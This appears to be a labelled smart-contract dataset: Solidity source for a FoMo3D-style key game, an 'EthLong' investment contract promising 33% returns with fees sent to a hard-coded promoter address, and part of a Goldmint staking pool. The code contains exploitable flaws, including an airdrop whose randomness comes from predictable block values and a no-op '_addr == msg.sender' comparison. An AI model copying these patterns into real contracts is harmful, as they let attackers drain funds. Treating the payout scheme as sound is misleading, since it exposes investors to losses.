(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > (round_[_rID].strt + rndGap_) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if ( _now > round_[_rID].end && round_[_rID].ended == false ) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
if( !closed_ ){
nextRound();
}
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit PCKevents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.PCPAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, PCKdatasets.EventReturns memory _eventData_) private {
uint256 _rID = rID_;
uint256 _now = now;
if (_now > ( round_[_rID].strt + rndGap_ ) && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if ( _now > round_[_rID].end && round_[_rID].ended == false ) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
if( !closed_ ) {
nextRound();
}
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit PCKevents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.PCPAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID, _eth);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000) {
airDropTracker_++;
if (airdrop() == true) {
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
function determinePID(PCKdatasets.EventReturns memory _eventData_)
private
returns (PCKdatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
if (_pID == 0)
{
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, PCKdatasets.EventReturns memory _eventData_)
private
returns (PCKdatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function nextRound() private {
rID_++;
round_[rID_].strt = now;
round_[rID_].end = now.add(rndInit_).add(rndGap_);
}
function endRound(PCKdatasets.EventReturns memory _eventData_)
private
returns (PCKdatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
if (!address(admin).call.value(_com)())
{
_p3d = _p3d.add(_com);
_com = 0;
}
round_[_rID].mask = _ppt.add(round_[_rID].mask);
if (_p3d > 0)
PCGod.deposit.value(_p3d)();
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.PCPAmount = _p3d;
_eventData_.newPot = _res;
_rID++;
round_[_rID].ended = false;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID, uint256 _eth)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
uint256 _newEndTime;
if (_newTime < (rndMax_).add(_now))
_newEndTime = _newTime;
else
_newEndTime = rndMax_.add(_now);
if ( _eth >= rndReduceThreshold_ ) {
_newEndTime = (_newEndTime).sub( (((_keys) / (1000000000000000000))).mul(rndInc_).add( (((_keys) / (2000000000000000000) ).mul(rndInc_)) ) );
if( _newEndTime < _now + rndMin_ )
_newEndTime = _now + rndMin_ ;
}
round_[_rID].end = _newEndTime;
}
function airdrop() private view returns(bool) {
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, PCKdatasets.EventReturns memory _eventData_)
private
returns(PCKdatasets.EventReturns)
{
uint256 _com = _eth / 50;
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _long = _eth / 100;
potSwap(_long);
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit PCKevents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
PCGod.deposit.value(_p3d)();
_eventData_.PCPAmount = _p3d.add(_eventData_.PCPAmount);
}
return(_eventData_);
}
function potSwap(uint256 _pot) private {
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(_pot);
emit PCKevents.onPotSwapDeposit(_rID, _pot);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, PCKdatasets.EventReturns memory _eventData_)
private
returns(PCKdatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, PCKdatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit PCKevents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.PCPAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate() public {
require(
msg.sender == admin,
"only team just can activate"
);
require(activated_ == false, "PCK already activated");
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library PCKdatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 PCPAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library PCKKeysCalcLong {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PCKExtSettingInterface {
function getFastGap() external view returns(uint256);
function getLongGap() external view returns(uint256);
function getFastExtra() external view returns(uint256);
function getLongExtra() external view returns(uint256);
}
interface PlayCoinGodInterface {
function deposit() external payable;
}
interface ProForwarderInterface {
function deposit() external payable returns(bool);
function status() external view returns(address, address, bool);
function startMigration(address _newCorpBank) external returns(bool);
function cancelMigration() external returns(bool);
function finishMigration() external returns(bool);
function setup(address _firstCorpBank) external;
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b, "SafeMath mul failed");
return c;
}
function sub(uint256 a, uint256 b)
internal
pure
returns (uint256)
{
require(b <= a, "SafeMath sub failed");
return a - b;
}
function add(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
c = a + b;
require(c >= a, "SafeMath add failed");
return c;
}
function sqrt(uint256 x)
internal
pure
returns (uint256 y)
{
uint256 z = ((add(x,1)) / 2);
y = x;
while (z < y)
{
y = z;
z = ((add((x / z),z)) / 2);
}
}
function sq(uint256 x)
internal
pure
returns (uint256)
{
return (mul(x,x));
}
function pwr(uint256 x, uint256 y)
internal
pure
returns (uint256)
{
if (x==0)
return (0);
else if (y==0)
return (1);
else
{
uint256 z = x;
for (uint256 i=1; i < y; i++)
z = mul(z,x);
return (z);
}
}
} | 0 | 756 |
pragma solidity ^0.4.25;
contract EthLong{
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public minimum = 10000000000000000;
uint256 public step = 33;
address public ownerWallet;
address public owner;
address public bountyManager;
address promoter = 0xA4410DF42dFFa99053B4159696757da2B757A29d;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor(address _bountyManager) public {
owner = msg.sender;
ownerWallet = msg.sender;
bountyManager = _bountyManager;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyBountyManager() {
require(msg.sender == bountyManager);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () external payable {
require(msg.value >= minimum);
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.div(100).mul(5));
promoter.transfer(msg.value.div(100).mul(5));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(72000);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
function updateReferral(address _hunter, uint256 _amount) onlyBountyManager public {
referrer[_hunter] = referrer[_hunter].add(_amount);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,904 |
pragma solidity ^0.4.25;
contract IStdToken {
function balanceOf(address _owner) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
function transferFrom(address _from, address _to, uint256 _value) public returns(bool);
}
contract PoolCommon {
mapping(address => bool) private _administrators;
mapping(address => bool) private _managers;
modifier onlyAdministrator() {
require(_administrators[msg.sender]);
_;
}
modifier onlyAdministratorOrManager() {
require(_administrators[msg.sender] || _managers[msg.sender]);
_;
}
constructor() public {
_administrators[msg.sender] = true;
}
function addAdministator(address addr) onlyAdministrator public {
_administrators[addr] = true;
}
function removeAdministator(address addr) onlyAdministrator public {
_administrators[addr] = false;
}
function isAdministrator(address addr) public view returns (bool) {
return _administrators[addr];
}
function addManager(address addr) onlyAdministrator public {
_managers[addr] = true;
}
function removeManager(address addr) onlyAdministrator public {
_managers[addr] = false;
}
function isManager(address addr) public view returns (bool) {
return _managers[addr];
}
}
contract PoolCore is PoolCommon {
uint256 constant public MAGNITUDE = 2**64;
uint256 public mntpRewardPerShare;
uint256 public goldRewardPerShare;
uint256 public totalMntpHeld;
mapping(address => uint256) private _mntpRewardPerShare;
mapping(address => uint256) private _goldRewardPerShare;
address public controllerAddress = address(0x0);
mapping(address => uint256) private _rewardMntpPayouts;
mapping(address => uint256) private _rewardGoldPayouts;
mapping(address => uint256) private _userStakes;
IStdToken public mntpToken;
IStdToken public goldToken;
modifier onlyController() {
require(controllerAddress == msg.sender);
_;
}
constructor(address mntpTokenAddr, address goldTokenAddr) PoolCommon() public {
controllerAddress = msg.sender;
mntpToken = IStdToken(mntpTokenAddr);
goldToken = IStdToken(goldTokenAddr);
}
function setNewControllerAddress(address newAddress) onlyController public {
controllerAddress = newAddress;
}
function addHeldTokens(address userAddress, uint256 tokenAmount) onlyController public {
_userStakes[userAddress] = SafeMath.add(_userStakes[userAddress], tokenAmount);
totalMntpHeld = SafeMath.add(totalMntpHeld, tokenAmount);
addUserPayouts(userAddress, SafeMath.mul(mntpRewardPerShare, tokenAmount), SafeMath.mul(goldRewardPerShare, tokenAmount));
}
function freeHeldTokens(address userAddress) onlyController public {
totalMntpHeld = SafeMath.sub(totalMntpHeld, _userStakes[userAddress]);
_userStakes[userAddress] = 0;
_rewardMntpPayouts[userAddress] = 0;
_rewardGoldPayouts[userAddress] = 0;
}
function addRewardPerShare(uint256 mntpReward, uint256 goldReward) onlyController public {
require(totalMntpHeld > 0);
uint256 mntpShareReward = SafeMath.div(SafeMath.mul(mntpReward, MAGNITUDE), totalMntpHeld);
uint256 goldShareReward = SafeMath.div(SafeMath.mul(goldReward, MAGNITUDE), totalMntpHeld);
mntpRewardPerShare = SafeMath.add(mntpRewardPerShare, mntpShareReward);
goldRewardPerShare = SafeMath.add(goldRewardPerShare, goldShareReward);
}
function addUserPayouts(address userAddress, uint256 mntpReward, uint256 goldReward) onlyController public {
_rewardMntpPayouts[userAddress] = SafeMath.add(_rewardMntpPayouts[userAddress], mntpReward);
_rewardGoldPayouts[userAddress] = SafeMath.add(_rewardGoldPayouts[userAddress], goldReward);
}
function getMntpTokenUserReward(address userAddress) public view returns(uint256 reward, uint256 rewardAmp) {
rewardAmp = SafeMath.mul(mntpRewardPerShare, getUserStake(userAddress));
rewardAmp = (rewardAmp < getUserMntpRewardPayouts(userAddress)) ? 0 : SafeMath.sub(rewardAmp, getUserMntpRewardPayouts(userAddress));
reward = SafeMath.div(rewardAmp, MAGNITUDE);
return (reward, rewardAmp);
}
function getGoldTokenUserReward(address userAddress) public view returns(uint256 reward, uint256 rewardAmp) {
rewardAmp = SafeMath.mul(goldRewardPerShare, getUserStake(userAddress));
rewardAmp = (rewardAmp < getUserGoldRewardPayouts(userAddress)) ? 0 : SafeMath.sub(rewardAmp, getUserGoldRewardPayouts(userAddress));
reward = SafeMath.div(rewardAmp, MAGNITUDE);
return (reward, rewardAmp);
}
function getUserMntpRewardPayouts(address userAddress) public view returns(uint256) {
return _rewardMntpPayouts[userAddress];
}
function getUserGoldRewardPayouts(address userAddress) public view returns(uint256) {
return _rewardGoldPayouts[userAddress];
}
function getUserStake(address userAddress) public view returns(uint256) {
return _userStakes[userAddress];
}
}
contract StakeFreezer {
address public controllerAddress = address(0x0);
mapping(address => uint256) private _userStakes;
event onFreeze(address indexed userAddress, uint256 tokenAmount, bytes32 sumusAddress);
event onUnfreeze(address indexed userAddress, uint256 tokenAmount);
modifier onlyController() {
require(controllerAddress == msg.sender);
_;
}
constructor() public {
controllerAddress = msg.sender;
}
function setNewControllerAddress(address newAddress) onlyController public {
controllerAddress = newAddress;
}
function freezeUserStake(address userAddress, uint256 tokenAmount, bytes32 sumusAddress) onlyController public {
_userStakes[userAddress] = SafeMath.add(_userStakes[userAddress], tokenAmount);
emit onFreeze(userAddress, tokenAmount, sumusAddress);
}
function unfreezeUserStake(address userAddress, uint256 tokenAmount) onlyController public {
_userStakes[userAddress] = SafeMath.sub(_userStakes[userAddress], tokenAmount);
emit onUnfreeze(userAddress, tokenAmount);
}
function getUserFrozenStake(address userAddress) public view returns(uint256) {
return _userStakes[userAddress];
}
}
contract GoldmintPool {
address public tokenBankAddress = address(0x0);
PoolCore public core;
StakeFreezer public stakeFreezer;
IStdToken public mntpToken;
IStdToken public goldToken;
bool public isActualContractVer = true;
bool public isActive = true;
event onDistribShareProfit(uint256 mntpReward, uint256 goldReward);
event onUserRewardWithdrawn(address indexed userAddress, uint256 mntpReward, uint256 goldReward);
event onHoldStake(address indexed userAddress, uint256 mntpAmount);
event onUnholdStake(address indexed userAddress, uint256 mntpAmount);
modifier onlyAdministrator() {
require(core.isAdministrator(msg.sender));
_;
}
modifier onlyAdministratorOrManager() {
require(core.isAdministrator(msg.sender) || core.isManager(msg.sender));
_;
}
modifier notNullAddress(address addr) {
require(addr != address(0x0));
_;
}
modifier onlyActive() {
require(isActive);
_;
}
